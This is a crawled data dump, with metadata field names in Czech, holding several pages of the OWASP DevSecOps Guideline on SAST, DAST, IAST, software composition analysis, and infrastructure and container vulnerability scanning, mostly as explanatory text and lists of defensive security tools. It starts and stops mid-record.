Scanner](https://en.wikipedia.org/wiki/Vulnerability_scanner)\n- [Techtarget - Vulnerability Scanning](https://searchsecurity.techtarget.com/definition/vulnerability-scanning)\n- [Checkpoint - Vulnerability Scanning](https://www.checkpoint.com/cyber-hub/network-security/what-is-vulnerability-scanning/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-devsecops-guideline/subscription) [Star](https://github.com/owasp/www-project-devsecops-guideline)", "znaku_textu": 1382, "slov": 150, "odkazu": 43, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:44:46", "sha256": "db0e2b6ce283b7ec7b3217e48ba054fd7bafe2c554619158b09b5405ddfba800", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Vulnerability_scanner", "https://searchsecurity.techtarget.com/definition/vulnerability-scanning", "https://www.checkpoint.com/cyber-hub/network-security/what-is-vulnerability-scanning/", "https://github.com/owasp/www-project-devsecops-guideline/subscription", "https://github.com/owasp/www-project-devsecops-guideline", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-devsecops-guideline/latest/02a-Static-Application-Security-Testing", "titulek": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "h1": "OWASP DevSecOps Guideline - v-0.2", "popis": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-devsecops-guideline/latest/02a-Static-Application-Security-Testing", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-devsecops-guideline/latest/02a-Static-Application-Security-Testing.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest"], "osnova": [{"uroven": 1, "text": "OWASP DevSecOps Guideline - v-0.2"}, {"uroven": 3, "text": "Static scanning is an important part of the proces!"}, {"uroven": 3, "text": "Tools"}, {"uroven": 4, "text": "Static Code Analysis:"}, {"uroven": 4, "text": "IaC scanning:"}], "markdown": "# OWASP DevSecOps Guideline - v-0.2\n\n### Static scanning is an important part of the proces!\n\nStatic Code Analysis or Source Code Analysis is usually part of a Code Review (white-box testing) and it is a method of computer program debugging that is done by examining the code without executing the program.\n\nStatic scanning is good way finding coding issues such as:\n\n- Syntax violations\n- Security vulnerabilities\n- Programming errors\n- Coding standard violations\n- Undefined values\n\nFor more information about the Static Code Analysis please visit [the OWASP page](https://owasp.org/www-community/controls/Static_Code_Analysis)\nTo achieve a better result we can combine static security scanning and 3rd party code (open-source libraries (dependency)) scanning.\nTo doing this part better and more complete (prevent misconfigurations), here we can bring up IaC (Infrastructure as code) security scan too. For example check Terraform, helm, Ansible code, etc.\n\nSo according to the above lines the possible actions in this step are as follows:\n\n- Static Code Analysis (known as SAST)\n- Open-source libraries (3rd party / dependency) scanning (known as SCA)\n- IaC Security scanning\n\n---\n\n### Tools\n\n- Static Code Analysis:\n - [SonarQube](https://www.sonarqube.org) - An open-source web-based tool, extending its coverage to more than 20 languages, and also allows a number of plugins\n - [Veracode](https://www.veracode.com/security/static-analysis-tool) - A static analysis tool that is built on the SaaS model. This tool is mainly used to analyze the code from a security point of view\n - [security code scan](https://github.com/security-code-scan/security-code-scan) - Vulnerability Patterns Detector for C# and VB.NET\n - [Brakeman](https://github.com/presidentbeef/brakeman) - A static analysis security vulnerability scanner for Ruby on Rails applications\n - [Enlightn](https://github.com/enlightn/enlightn) - A static analysis vulnerability scanner for Laravel PHP applications\n - [Inquisition](https://github.com/rubygarage/inquisition) - A set of tools for convenient technical analysis of web applications built with Ruby and Ruby on Rails. Now you don’t need to set up and configure every single gem. Use Inquisition gem instead\n - [CodeSweep](https://hclsw.co/codesweepgithub) - Static Analysis tool for GitHub that’s free to use and can scan code on pull request. Support over 20 languages and IaC (docker, k8s). VS Code version can be found [here](https://hclsw.co/codesweep)\n - [HCL AppScan on Cloud](https://cloud.appscan.com) - SAST tool built as a service. The tool can perform traditional SAST, SCA and IaC scanning.\n - [Semgrep](https://semgrep.dev) - Lightweight static analysis for many languages. Find bug variants with patterns that look like source code.\n - [Checkmarx SAST](https://checkmarx.com) - A static analysis security vulnerability scanner\n - [Fortify](https://www.microfocus.com/en-us/cyberres/application-security/static-code-analyzer) - A static analysis security vulnerability scanner\n- IaC scanning:\n - [Checkov](https://github.com/bridgecrewio/checkov) - Prevent cloud misconfigurations during build-time for Terraform, Cloudformation, Kubernetes, Serverless framework and other infrastructure-as-code-languages with Checkov by Bridgecrew\n - [ansible-lint](https://github.com/ansible-community/ansible-lint) - Best practices checker for Ansible\n - [puppet-lint](https://github.com/rodjek/puppet-lint) - Check that your Puppet manifests conform to the style guide\n - [tfsec](https://github.com/tfsec/tfsec) - Security scanner for your Terraform code\n - [terrascan](https://github.com/accurics/terrascan) - Detect compliance and security violations across Infrastructure as Code to mitigate risk before provisioning cloud native infrastructure\n - [tflint](https://github.com/terraform-linters/tflint) - A Pluggable Terraform Linter\n\n---\n\n[Watch](https://github.com/owasp/www-project-devsecops-guideline/subscription) [Star](https://github.com/owasp/www-project-devsecops-guideline)", "znaku_textu": 3909, "slov": 471, "odkazu": 59, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:44:48", "sha256": "431726336ef81aff099de99a641bddde5c49658909ff73d2af73d1218ace2a1a", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.sonarqube.org/", "https://www.veracode.com/security/static-analysis-tool", "https://github.com/security-code-scan/security-code-scan", "https://github.com/presidentbeef/brakeman", "https://github.com/enlightn/enlightn", "https://github.com/rubygarage/inquisition", "https://hclsw.co/codesweepgithub", "https://hclsw.co/codesweep", "https://cloud.appscan.com/", "https://semgrep.dev/", "https://checkmarx.com/", "https://www.microfocus.com/en-us/cyberres/application-security/static-code-analyzer", "https://github.com/bridgecrewio/checkov", "https://github.com/ansible-community/ansible-lint", "https://github.com/rodjek/puppet-lint", "https://github.com/tfsec/tfsec", "https://github.com/accurics/terrascan", "https://github.com/terraform-linters/tflint", "https://github.com/owasp/www-project-devsecops-guideline/subscription", "https://github.com/owasp/www-project-devsecops-guideline", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-devsecops-guideline/latest/02b-Dynamic-Application-Security-Testing", "titulek": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "h1": "OWASP DevSecOps Guideline - v-0.2", "popis": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-devsecops-guideline/latest/02b-Dynamic-Application-Security-Testing", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-devsecops-guideline/latest/02b-Dynamic-Application-Security-Testing.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest"], "osnova": [{"uroven": 1, "text": "OWASP DevSecOps Guideline - v-0.2"}, {"uroven": 3, "text": "Dynamic Application Security Testing (DAST)"}, {"uroven": 3, "text": "Tools"}, {"uroven": 4, "text": "Open-source:"}, {"uroven": 4, "text": "Commercial:"}, {"uroven": 3, "text": "References"}], "markdown": "# OWASP DevSecOps Guideline - v-0.2\n\n### Dynamic Application Security Testing (DAST)\n\nDAST is a “Black-Box” testing, can find security vulnerabilities and weaknesses in a running application by injecting malicious payloads to identify potential flaws that allow for attacks like SQL injections or cross-site scripting (XSS), etc. DAST tools are especially helpful for detecting:\n\n- Input or output validation\n- Authentication issues\n- Server configuration mistakes\n\nDAST tools allow for sophisticated scans on the client side and server side without needing the source code or the framework the application is built on. They usually require minimal user interactions once configured and can be run as part of a nightly scan. As more important DAST tools we can look at the following:\n\n- Dynamic security scanner\n- Fuzzers\n- Attack Proxies\n\n---\n\n### Tools\n\n- Open-source:\n - [ZED Attack Proxy](https://www.zaproxy.org) - It is an open source tool which is offered by OWASP for performing security testing\n- Commercial:\n - [Acunetix](https://www.acunetix.com) - An automatic web security testing scanner that accurately scans and audits all web applications, including HTML5, JavaScript and Single Page applications (SPAs)\n - [Netsparker](https://www.netsparker.com) - It can identify vulnerabilities in all types of modern web applications, regardless of the underlying architecture or platform\n - [Escape DAST](https://www.escape.tech) - Escape DAST is purposely built for testing for business logic vulnerabilities and handling complex auth scenarios in modern applications: APIs (including GraphQL) and Single Page Apps (SPAs)\n - [InsightAppSec (AppSpider)](https://www.rapid7.com/products/insightappsec) - Application security testing for the modern web\n - [Veracode Dynamic Analysis](https://www.veracode.com/products/dynamic-analysis-dast) - Veracode Dynamic Analysis helps companies scan their web applications for exploitable vulnerabilities at scale\n - [Burp Suite](http://www.portswigger.net/) is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application’s attack surface, through to finding and exploiting security vulnerabilities.\n - [HCL AppScan on Cloud](https://cloud.appscan.com) - DAST tool built as a service. It can scan both public and privatly hosted application. Can explore and test modern web applications, leverage manually recorded steps and handle complex login scenarios.\n - [Nuclei](https://github.com/projectdiscovery/nuclei) - Fast and customisable vulnerability scanner based on simple YAML based DSL.\n\n---\n\n### References\n\n- [OWASP - Vulnerability Scanning Tools](https://owasp.org/www-community/Vulnerability_Scanning_Tools)\n- [RAPID7 - Dynamic Application Security Testing](https://www.rapid7.com/fundamentals/dast/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-devsecops-guideline/subscription) [Star](https://github.com/owasp/www-project-devsecops-guideline)", "znaku_textu": 2972, "slov": 353, "odkazu": 51, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:44:50", "sha256": "cfabc1bbfdd1bc984160f2877599260cb14bc34b55c2b24d45d6aae6130d03f7", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://www.acunetix.com/", "https://www.netsparker.com/", "https://www.escape.tech/", "https://www.rapid7.com/products/insightappsec", "https://www.veracode.com/products/dynamic-analysis-dast", "http://www.portswigger.net/", "https://cloud.appscan.com/", "https://github.com/projectdiscovery/nuclei", "https://www.rapid7.com/fundamentals/dast/", "https://github.com/owasp/www-project-devsecops-guideline/subscription", "https://github.com/owasp/www-project-devsecops-guideline", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-devsecops-guideline/latest/02c-Interactive-Application-Security-Testing", "titulek": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "h1": "OWASP DevSecOps Guideline - v-0.2", "popis": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-devsecops-guideline/latest/02c-Interactive-Application-Security-Testing", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-devsecops-guideline/latest/02c-Interactive-Application-Security-Testing.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest"], "osnova": [{"uroven": 1, "text": "OWASP DevSecOps Guideline - v-0.2"}, {"uroven": 2, "text": "Interactive Application Security Testing"}, {"uroven": 3, "text": "IAST vs SAST"}, {"uroven": 3, "text": "IAST vs DAST"}, {"uroven": 3, "text": "Tools"}, {"uroven": 3, "text": "References"}], "markdown": "# OWASP DevSecOps Guideline - v-0.2\n\n## Interactive Application Security Testing\n\n**IAST (interactive application security testing)** is an application security testing method that tests the application while the app is run by an automated test, human tester, or any activity “interacting” with the application functionality.\n\nThe core of an IAST tool is sensor modules, software libraries included in the application code. These sensor modules keep track of application behavior while the interactive tests are running. If a vulnerability is detected, an alert will be sent.\n\nThe process and feedback are done in real time in your integrated development environment (IDE), continuous integration (CI) environment, or quality assurance, or while in production. The sensors have access to:\n\n- Entire code\n- Dataflow and control flow\n- System configuration data\n- Web components\n- Back-end connection data\n\nExamples of such vulnerabilities could be hardcoding API keys in cleartext, not sanitizing your users inputs, or using connections without SSL encryption.\n\n---\n\n### IAST vs SAST\n\n**Static Application Security Testing** method examine source code in a non-runtime environment early in the SDLC. They look for suspicious code patterns that indicate security risks. Even though they are easy to deploy, SASTs throw too many false positives because SASTs do not take into account the presence of other security countermeasures, and they lack visibility during runtime. SAST tools normally run inside the IDE as part of the compilation phase, and introduce delays as the scan process takes time to finish. IASTs are more flexible than SASTs, because they are applicable in production runtime environments (SASTs require direct access to the source code).\n\n### IAST vs DAST\n\n**Dynamic Application Security Testing** method is works like a black-box scanner that executes requests against the application to find security issues. DASTs look at the applications from the exterior and determine the presence of risks by looking at the response (including body and headers) of the server to a battery of tests, but DASTs have no visibility of the internal workings of the app. Furthermore, DAST tests are hard to automate, because DASTs must be operated by experienced appsec teams, such as penetration testers, to be truly useful. Forrester estimates that the duration of a DAST scan can take around 5 to 7 days, while testing with IAST is a real-time (zero minutes) operation.\n\n---\n\n### Tools\n\n- [Contrast Community Edition (CE)](https://www.contrastsecurity.com/contrast-community-edition)\n- [Checkmarx Interactive Application Security Testing(CxIAST)](https://www.checkmarx.com/products/interactive-application-security-testing/)\n- [Seeker Interactive Application Security Testing](https://www.synopsys.com/software-integrity/security-testing/interactive-application-security-testing.html)\n- [HCL AppScan on Cloud](https://cloud.appscan.com)\n\n---\n\n### References\n\n- [Veracode - IAST](https://www.veracode.com/security/interactive-application-security-testing-iast)\n- [OWASP - Free for Open Source Application Security Tools](https://owasp.org/www-community/Free_for_Open_Source_Application_Security_Tools)\n- [Hdivsecurity - IAST](https://hdivsecurity.com/bornsecure/what-is-iast-interactive-application-security-testing/)\n- [Contrastsecurity - IAST](https://www.contrastsecurity.com/knowledge-hub/glossary/interactive-application-security-testing)\n- [Synk - IAST](https://snyk.io/learn/iast-interactive-application-security-testing/)\n- [Acunetix - IAST](https://www.acunetix.com/blog/web-security-zone/what-is-iast-interactive-application-security-testing/)\n- [Contrast - Why the difference sast, dast, and iast mastters](https://www.contrastsecurity.com/security-influencers/why-the-difference-between-sast-dast-and-iast-matters)\n- [Esecurityplanet - Application security vendors](https://www.esecurityplanet.com/products/application-security-vendors/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-devsecops-guideline/subscription) [Star](https://github.com/owasp/www-project-devsecops-guideline)", "znaku_textu": 4015, "slov": 485, "odkazu": 52, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:44:51", "sha256": "b3040e6e8bc380b708db9a274204c2eac6e470786713e935bfdb666119dc46af", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.contrastsecurity.com/contrast-community-edition", "https://www.checkmarx.com/products/interactive-application-security-testing/", "https://www.synopsys.com/software-integrity/security-testing/interactive-application-security-testing.html", "https://cloud.appscan.com/", "https://www.veracode.com/security/interactive-application-security-testing-iast", "https://hdivsecurity.com/bornsecure/what-is-iast-interactive-application-security-testing/", "https://www.contrastsecurity.com/knowledge-hub/glossary/interactive-application-security-testing", "https://snyk.io/learn/iast-interactive-application-security-testing/", "https://www.acunetix.com/blog/web-security-zone/what-is-iast-interactive-application-security-testing/", "https://www.contrastsecurity.com/security-influencers/why-the-difference-between-sast-dast-and-iast-matters", "https://www.esecurityplanet.com/products/application-security-vendors/", "https://github.com/owasp/www-project-devsecops-guideline/subscription", "https://github.com/owasp/www-project-devsecops-guideline", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-devsecops-guideline/latest/02d-Software-Composition-Analysis", "titulek": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "h1": "OWASP DevSecOps Guideline - v-0.2", "popis": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-devsecops-guideline/latest/02d-Software-Composition-Analysis", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-devsecops-guideline/latest/02d-Software-Composition-Analysis.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest"], "osnova": [{"uroven": 1, "text": "OWASP DevSecOps Guideline - v-0.2"}, {"uroven": 3, "text": "Software Component/Composition Analysis (SCA)"}, {"uroven": 3, "text": "Tools"}, {"uroven": 4, "text": "Open-source:"}, {"uroven": 4, "text": "Commercial:"}, {"uroven": 3, "text": "References"}], "markdown": "# OWASP DevSecOps Guideline - v-0.2\n\n### Software Component/Composition Analysis (SCA)\n\nComponent Analysis is the process of automating application security for managing third-party and open source components of codebase. SCA will find any potential vulnerable components in our codebase to prevent high security risks like **Supply-Chain Attack**, not only that but also provide licensing about each components. By doing this, it helps organization to reduce security risks in their codebase libraries and needed to be early in modern software development life cycle.\n\n> For more information about the Component Analysis please visit [the OWASP page](https://owasp.org/www-community/Component_Analysis)\n\nWe should put the Component Analysis earlier, before security testing like SAST, DAST to prevent any vulnerable libraries pushed to live environment (Production) and implemented Continuous Monitoring of its libraries to reduce Supply Chain Attack risk rapidly.\n\n---\n\n### Tools\n\n- Open-source:\n - [OWASP Dependency-check](https://owasp.org/www-project-dependency-check) - Software Composition Analysis (SCA) tool that attempts to detect publicly disclosed vulnerabilities contained within a project’s dependencies and it supports Java, .NET, JavaScript, Ruby\n - [RetireJS](https://github.com/RetireJS/retire.js) - JavaScript-specific dependency checker\n - [Safety](https://github.com/pyupio/safety) - Python dependency checker for known security vulnerabilities\n - [bundler-audit](https://github.com/rubysec/bundler-audit) - Patch-level verification for Bundler (Auditing Ruby 3rd party libs versions)\n- Commercial:\n - [Hakiri](https://hakiri.io/) - A commercial tool that offers dependency checking for Ruby and Rails-based GitHub projects using static code analysis\n - [HCL AppScan on Cloud](https://cloud.appscan.com) - SAST tool built as a service that can perform both SAST, SCA & IaC at the same time.\n - [Snyk](https://snyk.io/) - SCA tool offer as a SaaS solution.\n - [WhiteSource](https://www.whitesourcesoftware.com/) - WhiteSource identifies every open source component in your software, including dependencies. It then secures you from vulnerabilities and enforces license policies throughout the software development lifecycle.\n - [Synopsys BlackDuck](https://www.blackducksoftware.com/) - Black Duck automated policy management allows you to define policies for open source use, security risk, and license compliance up front, and automate enforcement across the software development life cycle (SDLC).\n\n### References\n\n- [SCA - OWASP](https://owasp.org/www-community/Component_Analysis)\n\n---\n\n[Watch](https://github.com/owasp/www-project-devsecops-guideline/subscription) [Star](https://github.com/owasp/www-project-devsecops-guideline)", "znaku_textu": 2682, "slov": 315, "odkazu": 50, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:44:52", "sha256": "01558a7e53b0645f407695eed21134de14198a9366092f40c2ec0734006f7945", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/RetireJS/retire.js", "https://github.com/pyupio/safety", "https://github.com/rubysec/bundler-audit", "https://hakiri.io/", "https://cloud.appscan.com/", "https://snyk.io/", "https://www.whitesourcesoftware.com/", "https://www.blackducksoftware.com/", "https://github.com/owasp/www-project-devsecops-guideline/subscription", "https://github.com/owasp/www-project-devsecops-guideline", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-devsecops-guideline/latest/02e-Infrastructure-Vulnerability-Scanning", "titulek": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "h1": "OWASP DevSecOps Guideline - v-0.2", "popis": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-devsecops-guideline/latest/02e-Infrastructure-Vulnerability-Scanning", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-devsecops-guideline/latest/02e-Infrastructure-Vulnerability-Scanning.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest"], "osnova": [{"uroven": 1, "text": "OWASP DevSecOps Guideline - v-0.2"}, {"uroven": 3, "text": "Infrastructure Vulnerability Scanning"}, {"uroven": 3, "text": "Tools"}, {"uroven": 3, "text": "References"}], "markdown": "# OWASP DevSecOps Guideline - v-0.2\n\n### Infrastructure Vulnerability Scanning\n\nDevOps does a great job in automating the development and deployment process, but since all moving parts (containers, libraries etc.) are being updated frequently, it is imperative to make sure the infrastructure where you deploy your code is safe.\n\nThe best way to do that is to incorporate vulnerability scanning into your pipeline.\n\nA vulnerability scanner is a computer program designed to assess computers, networks or applications for known weaknesses. These scanners are used to discover the weaknesses of a given system. They are utilized in the identification and detection of vulnerabilities arising from mis-configurations or flawed programming within a network-based asset such as a firewall, router, web server, application server, etc. Modern vulnerability scanners allow for both authenticated and unauthenticated scans. Modern scanners are typically available as SaaS (Software as a service); provided over the internet and delivered as a web application. The modern vulnerability scanner often has the ability to customize vulnerability reports as well as the installed software, open ports, certificates and other host information that can be queried as part of its workflow.\n\n- **Authenticated scans** allow for the scanner to directly access network based assets using remote administrative protocols such as secure shell (SSH) or remote desktop protocol (RDP) and authenticate using provided system credentials. This allows the vulnerability scanner to access low-level data, such as specific services and configuration details of the host operating system. It’s then able to provide detailed and accurate information about the operating system and installed software, including configuration issues and missing security patches.\n- **Unauthenticated scans** is a method that can result in a high number of false positives and is unable to provide detailed information about the assets operating system and installed software. This method is typically used by threat actors or security analyst trying determine the security posture of externally accessible assets.\n\n---\n\n### Tools\n\n- [SAINT (Security Administrator’s Integrated Network Tool)](https://www.carson-saint.com) is computer software used for scanning computer networks for security vulnerabilities, and exploiting found vulnerabilities.\n- [Nessus](https://www.tenable.com/products/nessus/nessus-professional) scans cover a wide range of technologies including operating systems, network devices, hypervisors, databases, web servers, and critical infrastructure.\n- [Arachni](https://www.arachni-scanner.com/) is a Web Application Security Scanner Network that could be used to scan the vulnerability such a XSS, SQL Injection, NoSQL Injection, Code Injection, File Inclusion variants, etc.\n- [Burp Suite](http://www.portswigger.net/) is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application’s attack surface, through to finding and exploiting security vulnerabilities.\n- [Nexpose](http://www.rapid7.com/products/nexpose-community-edition.jsp) is one of the main vulnerability evaluation tools which provides a simple to-utilize, useful dashboard, and, as the vast majority of the tools we have seen, it bolsters a broad scope of consistency reporting, including PCI compliance.\n- [Nikto](http://www.cirt.net/nikto2) is a free software command-line vulnerability scanner that scans webservers for dangerous files/CGIs, outdated server software and other problems.\n\n---\n\n### References\n\n- [Wikipedia - Vulnerability Scanner](https://en.wikipedia.org/wiki/Vulnerability_scanner)\n- [Techtarget - Vulnerability Scanning](https://searchsecurity.techtarget.com/definition/vulnerability-scanning)\n- [OWASP - Vulnerability Scanning Tools](https://owasp.org/www-community/Vulnerability_Scanning_Tools)\n- [Checkpoint - Vulnerability Scanning](https://www.checkpoint.com/cyber-hub/network-security/what-is-vulnerability-scanning/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-devsecops-guideline/subscription) [Star](https://github.com/owasp/www-project-devsecops-guideline)", "znaku_textu": 4224, "slov": 521, "odkazu": 50, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:44:53", "sha256": "6a079a950b9a79fa6b1d200357dae7b02dcf3f806403da7a4d869edde48a9da3", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.carson-saint.com/", "https://www.tenable.com/products/nessus/nessus-professional", "https://www.arachni-scanner.com/", "http://www.portswigger.net/", "http://www.rapid7.com/products/nexpose-community-edition.jsp", "http://www.cirt.net/nikto2", "https://en.wikipedia.org/wiki/Vulnerability_scanner", "https://searchsecurity.techtarget.com/definition/vulnerability-scanning", "https://www.checkpoint.com/cyber-hub/network-security/what-is-vulnerability-scanning/", "https://github.com/owasp/www-project-devsecops-guideline/subscription", "https://github.com/owasp/www-project-devsecops-guideline", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-devsecops-guideline/latest/02f-Container-Vulnerability-Scanning", "titulek": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "h1": "OWASP DevSecOps Guideline - v-0.2", "popis": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-devsecops-guideline/latest/02f-Container-Vulnerability-Scanning", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-devsecops-guideline/latest/02f-Container-Vulnerability-Scanning.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest"], "osnova": [{"uroven": 1, "text": "OWASP DevSecOps Guideline - v-0.2"}, {"uroven": 2, "text": "Container Vulnerability Scanning"}, {"uroven": 3, "text": "What can Container Security Scanning do?"}, {"uroven": 3, "text": "Issues with Container Security Scanner"}, {"uroven": 3, "text": "Where and When to use Container Scanner?"}, {"uroven": 2, "text": "Tools:"}, {"uroven": 3, "text": "References"}], "markdown": "# OWASP DevSecOps Guideline - v-0.2\n\n## Container Vulnerability Scanning\n\nAs containers become an almost ubiquitous method of packaging and deploying applications, the instances of malware have increased. Securing containers is now a top priority for DevOps engineers. Fortunately, a number of open source programs are available that scan containers and container images. Let’s look at five such tools.\n\n### What can Container Security Scanning do?\n\n- Detect insecure containers\n - Detect outdated libraries\n - Detect incorrectly configured containers\n - Detect outdated operating system\n- Detect compliance validations\n- Suggest best practices\n\n### Issues with Container Security Scanner\n\n- Level of depth depends on tool being used, So the results that you’ll get are very dependent on the type of tool you choose.\n- Easy to go “too far” with configuration, there are tools where you can configure so much different settings, that it’s easy to jump overboard.\n- The scan results will lead to actionable events?\n\n### Where and When to use Container Scanner?\n\nYou can use it at the build phase when you’re actually building for instance a Dockerfile and looking at the resulting image that you’re creating. Another location to perform container scanning would be when you push a container to the registry or when you pull a container from a registry. However, a good approach is scanning before pushing into a trusted container registry then you can say we have a container registry with a scanned version of all images and for deploying in production you can pull from this trusted container registry. (Plase take look into the following image)\n\n---\n\n## Tools:\n\n- [Clair](https://github.com/quay/clair) - Vulnerability Static 